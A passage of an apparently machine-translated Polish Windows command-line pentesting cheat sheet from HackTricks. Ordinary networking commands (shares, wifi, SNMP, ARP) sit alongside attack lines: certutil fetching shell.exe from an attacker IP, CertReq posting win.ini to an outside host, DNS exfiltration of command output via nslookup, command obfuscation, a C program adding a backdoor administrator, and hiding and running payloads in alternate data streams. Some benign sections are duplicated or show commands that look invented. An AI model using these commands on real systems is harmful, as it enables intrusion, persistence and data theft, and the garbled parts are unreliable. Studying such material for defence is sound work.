z odpowiednimi parametrami. Na przykład, aby zmienić ścieżkę folderu dla udostępnienia o nazwie "Dane" na "C:\NoweDane", wykonaj następujące polecenie:
net share Dane=C:\NoweDane /remark:"Nowe udostępnienie"
Wyłączanie udostępniania
Aby wyłączyć udostępnianie dla danego zasobu, użyj polecenia net share
z odpowiednim parametrem /delete
. Na przykład, aby wyłączyć udostępnianie dla udostępnienia o nazwie "Dane", wykonaj następujące polecenie:
net share Dane /delete
Zabezpieczanie udostępnienia
Aby zabezpieczyć udostępnienie, możesz skonfigurować odpowiednie uprawnienia dostępu. Możesz to zrobić za pomocą interfejsu graficznego lub polecenia icacls
. Na przykład, aby udostępnić folder "C:\Dane" tylko dla użytkownika "User1" z pełnym dostępem, wykonaj następujące polecenie:
icacls C:\Dane /grant User1:(OI)(CI)F
Wykorzystywanie udostępnionych zasobów
Aby uzyskać dostęp do udostępnionych zasobów na innym komputerze, możesz użyć polecenia net use
. Na przykład, aby podłączyć udostępnienie o nazwie "Dane" z komputera "192.168.0.100" jako dysk "Z:", wykonaj następujące polecenie:
net use Z: \\192.168.0.100\Dane
Wyłączanie udostępniania
Aby wyłączyć udostępnianie dla danego zasobu, użyj polecenia net share
z odpowiednim parametrem /delete
. Na przykład, aby wyłączyć udostępnianie dla udostępnienia o nazwie "Dane", wykonaj następujące polecenie:
net share Dane /delete
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
Wifi
Wyszukiwanie dostępnych sieci wifi
Aby zobaczyć dostępne sieci wifi w Twoim zasięgu, wykonaj poniższą komendę:
netsh wlan show networks
Podłączanie do sieci wifi
Aby podłączyć się do konkretnej sieci wifi, użyj poniższej komendy, zastępując nazwa_sieci
i hasło
odpowiednimi danymi:
netsh wlan connect ssid=nazwa_sieci name=nazwa_sieci key=hasło
Rozłączanie z sieci wifi
Aby rozłączyć się z aktualnie podłączoną siecią wifi, wykonaj poniższą komendę:
netsh wlan disconnect
Wyłączanie karty sieciowej wifi
Aby wyłączyć kartę sieciową wifi, użyj poniższej komendy:
netsh interface set interface "Nazwa karty sieciowej" admin=disable
Włączanie karty sieciowej wifi
Aby włączyć kartę sieciową wifi, użyj poniższej komendy:
netsh interface set interface "Nazwa karty sieciowej" admin=enable
Resetowanie ustawień sieciowych wifi
Aby zresetować ustawienia sieciowe wifi, wykonaj poniższą komendę:
netsh winsock reset
Wyłączanie udostępniania sieci wifi
Aby wyłączyć udostępnianie sieci wifi, użyj poniższej komendy:
netsh wlan set hostednetwork mode=disallow
Włączanie udostępniania sieci wifi
Aby włączyć udostępnianie sieci wifi, użyj poniższej komendy:
netsh wlan set hostednetwork mode=allow ssid=nazwa_sieci key=hasło
Sprawdzanie informacji o karcie sieciowej wifi
Aby sprawdzić informacje o karcie sieciowej wifi, wykonaj poniższą komendę:
netsh wlan show interface
Sprawdzanie informacji o połączeniu wifi
Aby sprawdzić informacje o aktualnym połączeniu wifi, wykonaj poniższą komendę:
netsh wlan show profile name=nazwa_sieci key=clear
Zmiana ustawień sieci wifi
Aby zmienić ustawienia sieci wifi, użyj poniższej komendy, zastępując nazwa_sieci
i hasło
odpowiednimi danymi:
netsh wlan set profileparameter name=nazwa_sieci keyMaterial=hasło
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass
SNMP
SNMP (Simple Network Management Protocol) jest protokołem sieciowym używanym do zarządzania i monitorowania urządzeń sieciowych. Pozwala na zdalne monitorowanie i kontrolę urządzeń takich jak routery, przełączniki, serwery itp. Protokół SNMP działa na zasadzie zapytanie-odpowiedź, gdzie menedżer SNMP wysyła zapytania do agenta SNMP, a ten zwraca odpowiedzi zawierające informacje o stanie urządzenia.
Podstawowe komendy SNMP
snmpwalk
- służy do pobierania informacji o wszystkich obiektach w drzewie MIB (Management Information Base) na danym urządzeniu.snmpget
- służy do pobierania wartości konkretnego obiektu MIB na danym urządzeniu.snmpset
- służy do ustawiania wartości konkretnego obiektu MIB na danym urządzeniu.snmptrap
- służy do wysyłania pułapek SNMP (trap) do menedżera SNMP w celu powiadomienia o zdarzeniach na urządzeniu.
Przykłady użycia
Poniżej przedstawiam kilka przykładów użycia podstawowych komend SNMP:
snmpwalk -v2c -c public 192.168.1.1
- wykonuje pełne przeszukiwanie drzewa MIB na urządzeniu o adresie IP 192.168.1.1, używając wersji 2c protokołu SNMP i publicznego community stringa.snmpget -v2c -c private 192.168.1.1 sysDescr.0
- pobiera wartość obiektu sysDescr.0 (opis systemu) na urządzeniu o adresie IP 192.168.1.1, używając wersji 2c protokołu SNMP i prywatnego community stringa.snmpset -v2c -c private 192.168.1.1 sysContact.0 s "admin@example.com"
- ustawia wartość obiektu sysContact.0 (kontakt administratora) na urządzeniu o adresie IP 192.168.1.1, używając wersji 2c protokołu SNMP, prywatnego community stringa i podanego adresu e-mail.snmptrap -v2c -c public 192.168.1.2 192.168.1.1 1.3.6.1.2.1.1.6.0 s "Device rebooted"
- wysyła pułapkę SNMP do urządzenia o adresie IP 192.168.1.2, informując o restarcie urządzenia o adresie IP 192.168.1.1, używając wersji 2c protokołu SNMP, publicznego community stringa i podanego komunikatu.
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Interfejsy sieciowe
Wyświetlanie informacji o interfejsach sieciowych
Aby wyświetlić informacje o dostępnych interfejsach sieciowych, możesz użyć polecenia ipconfig
lub ifconfig
, w zależności od systemu operacyjnego.
ipconfig
ifconfig
Wyłączanie interfejsu sieciowego
Aby wyłączyć interfejs sieciowy, możesz użyć polecenia netsh
w systemie Windows lub polecenia ifconfig
w systemie Linux.
netsh interface set interface "Nazwa interfejsu" admin=disable
ifconfig "Nazwa interfejsu" down
Włączanie interfejsu sieciowego
Aby włączyć interfejs sieciowy, możesz użyć polecenia netsh
w systemie Windows lub polecenia ifconfig
w systemie Linux.
netsh interface set interface "Nazwa interfejsu" admin=enable
ifconfig "Nazwa interfejsu" up
Zmiana adresu MAC interfejsu sieciowego
Aby zmienić adres MAC interfejsu sieciowego, możesz użyć polecenia netsh
w systemie Windows lub polecenia ifconfig
w systemie Linux.
netsh interface set interface "Nazwa interfejsu" newmac=XX-XX-XX-XX-XX-XX
ifconfig "Nazwa interfejsu" hw ether XX:XX:XX:XX:XX:XX
Ustawianie adresu IP interfejsu sieciowego
Aby ustawić adres IP interfejsu sieciowego, możesz użyć polecenia netsh
w systemie Windows lub polecenia ifconfig
w systemie Linux.
netsh interface ip set address "Nazwa interfejsu" static IP_ADDRESS MASK GATEWAY
ifconfig "Nazwa interfejsu" IP_ADDRESS netmask MASK
Ustawianie serwera DNS dla interfejsu sieciowego
Aby ustawić serwer DNS dla interfejsu sieciowego, możesz użyć polecenia netsh
w systemie Windows lub polecenia ifconfig
w systemie Linux.
netsh interface ip set dns "Nazwa interfejsu" static DNS_SERVER
ifconfig "Nazwa interfejsu" dns-nameservers DNS_SERVER
Wyświetlanie tablicy routingu
Aby wyświetlić tablicę routingu, możesz użyć polecenia route
w systemie Windows lub polecenia ip route
w systemie Linux.
route print
ip route show
ipconfig /all
Tabela ARP
Tabela ARP (Address Resolution Protocol) zawiera informacje o mapowaniu adresów IP na adresy MAC w sieci lokalnej. Jest to ważne narzędzie dla pentesterów, które umożliwia identyfikację urządzeń w sieci oraz potencjalne ataki typu ARP spoofing. Aby wyświetlić zawartość tabeli ARP w systemie Windows, można użyć polecenia arp -a
w wierszu poleceń. Poniżej przedstawiono przykładowy wynik:
Interface: 192.168.1.2 --- 0x2
Internet Address Physical Address Type
192.168.1.1 00-11-22-33-44-55 dynamic
192.168.1.100 00-AA-BB-CC-DD-EE dynamic
Wynik ten pokazuje adresy IP i odpowiadające im adresy MAC urządzeń w sieci. Adresy MAC mogą być dynamiczne lub statyczne, w zależności od sposobu przydzielania adresów IP w sieci.
arp -A
Pobierz
Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
CertReq.exe jest narzędziem wiersza poleceń, które jest dostępne w systemach Windows i służy do zarządzania certyfikatami. Może być używane do generowania żądań certyfikatów, importowania i eksportowania certyfikatów oraz zarządzania magazynami certyfikatów. Poniżej przedstawiam kilka przykładów użycia CertReq.exe:
Generowanie żądania certyfikatu
CertReq.exe -new request.inf request.req
Importowanie certyfikatu
CertReq.exe -accept cert.cer
Eksportowanie certyfikatu
CertReq.exe -export cert.cer cert.pfx
Wyświetlanie informacji o certyfikacie
CertReq.exe -dump cert.cer
Zarządzanie magazynem certyfikatów
CertReq.exe -store My -s "CN=CertificateStore" -f cert.cer
Więcej informacji na temat używania CertReq.exe można znaleźć w dokumentacji systemu Windows.
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Certutil.exe jest narzędziem wiersza poleceń w systemie Windows, które umożliwia zarządzanie certyfikatami i kluczami. Może być używane do wykonywania różnych operacji, takich jak importowanie i eksportowanie certyfikatów, generowanie kluczy, weryfikowanie podpisów cyfrowych i wiele innych. Poniżej przedstawiono kilka przykładów użycia certutil.exe:
- Importowanie certyfikatu:
certutil -addstore nazwa_sklepu ścieżka_do_certyfikatu
- Eksportowanie certyfikatu:
certutil -exportcert -f -p hasło -privatekey -user -t "CERTIFICATE_THUMBPRINT" ścieżka_do_pliku
- Wyświetlanie informacji o certyfikacie:
certutil -dump ścieżka_do_certyfikatu
- Generowanie nowego klucza:
certutil -genkey -p hasło -user -n "nazwa_klucza" -r "nazwa_sklepu" -s "nazwa_sklepu"
Certutil.exe jest potężnym narzędziem, które może być wykorzystane przez pentesterów do przeprowadzania różnych operacji związanych z certyfikatami i kluczami w systemie Windows.
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Znajdź znacznie więcej, szukając Download
na stronie https://lolbas-project.github.io
Różne
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
# Get error messages from code
net helpmsg 32 #32 is the code in that case
Omijanie czarnej listy znaków
W niektórych przypadkach, podczas testowania penetracyjnego, możesz napotkać aplikacje, które blokują określone znaki, takie jak znaki specjalne lub znaki kontrolne. Jednak istnieją sposoby na obejście takiej czarnej listy znaków. Oto kilka technik, które możesz wykorzystać:
- Użycie znaków Unicode: Możesz użyć znaków Unicode, które wyglądają podobnie do znaków na czarnej liście, ale mają inne kody Unicode. Na przykład, jeśli znak
#
jest zablokowany, możesz spróbować użyć znaku#
(U+FF03), który wygląda tak samo, ale ma inny kod Unicode. - Użycie znaków HTML: Możesz również użyć znaków HTML, które są zamieniane na odpowiednie znaki podczas renderowania strony. Na przykład, znak
#
może być zamieniony na#
, a znak&
na&
. Możesz spróbować użyć tych znaków, aby obejść czarną listę. - Użycie znaków obcych: Innym sposobem jest użycie znaków obcych, które nie są często używane w danym języku. Na przykład, jeśli aplikacja blokuje znaki specjalne, możesz spróbować użyć znaków z innych języków, takich jak chiński, japoński lub arabski.
- Użycie kodów znaków: Możesz również użyć kodów znaków, które reprezentują znaki za pomocą ich wartości szesnastkowych. Na przykład, znak
#
może być reprezentowany jako%23
, a znak&
jako%26
. Możesz spróbować użyć tych kodów znaków, aby obejść czarną listę.
Pamiętaj, że omijanie czarnej listy znaków jest techniką, która może być nielegalna lub naruszać politykę bezpieczeństwa. Zawsze stosuj się do odpowiednich przepisów i zasad etycznych podczas testowania penetracyjnego.
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
DOSfuscation
Generuje zasłoniętą linię poleceń CMD
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
Kontrola dostępu do adresów nasłuchu
Możesz nasłuchiwać na http://+:80/Temporary_Listen_Addresses/ bez konieczności posiadania uprawnień administratora.
netsh http show urlacl
Manualne powłoki DNS
Atakujący (Kali) musi skorzystać z jednej z tych 2 opcji:
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
Ofiara
Technika for /f tokens
: Pozwala nam wykonywać polecenia, pobierać pierwsze X słów z każdej linii i wysyłać je za pomocą DNS na nasz serwer.
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
Możesz również przekierować wynik i następnie go odczytać.
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
Wywoływanie CMD z kodu C
To call CMD from C code, you can use the system()
function provided by the C standard library. This function allows you to execute a command in the command prompt.
Here is an example of how to use system()
to call CMD from C code:
#include <stdlib.h>
int main() {
system("cmd /c <command>");
return 0;
}
Replace <command>
with the command you want to execute in CMD. The /c
flag is used to execute the command and then terminate CMD.
After compiling and running the C code, the specified command will be executed in CMD.
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
Arkusz oszustw z alternatywnymi strumieniami danych (ADS/Alternate Data Stream)
Przykłady pochodzą z https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. Jest tam ich znacznie więcej!
## Selected Examples of ADS Operations ##
### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>
### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć, jak Twoja firma jest reklamowana w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCYJNY!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT.
- Zdobądź oficjalne gadżety PEASS & HackTricks.
- Dołącz do 💬 grupy Discord lub grupy Telegram lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.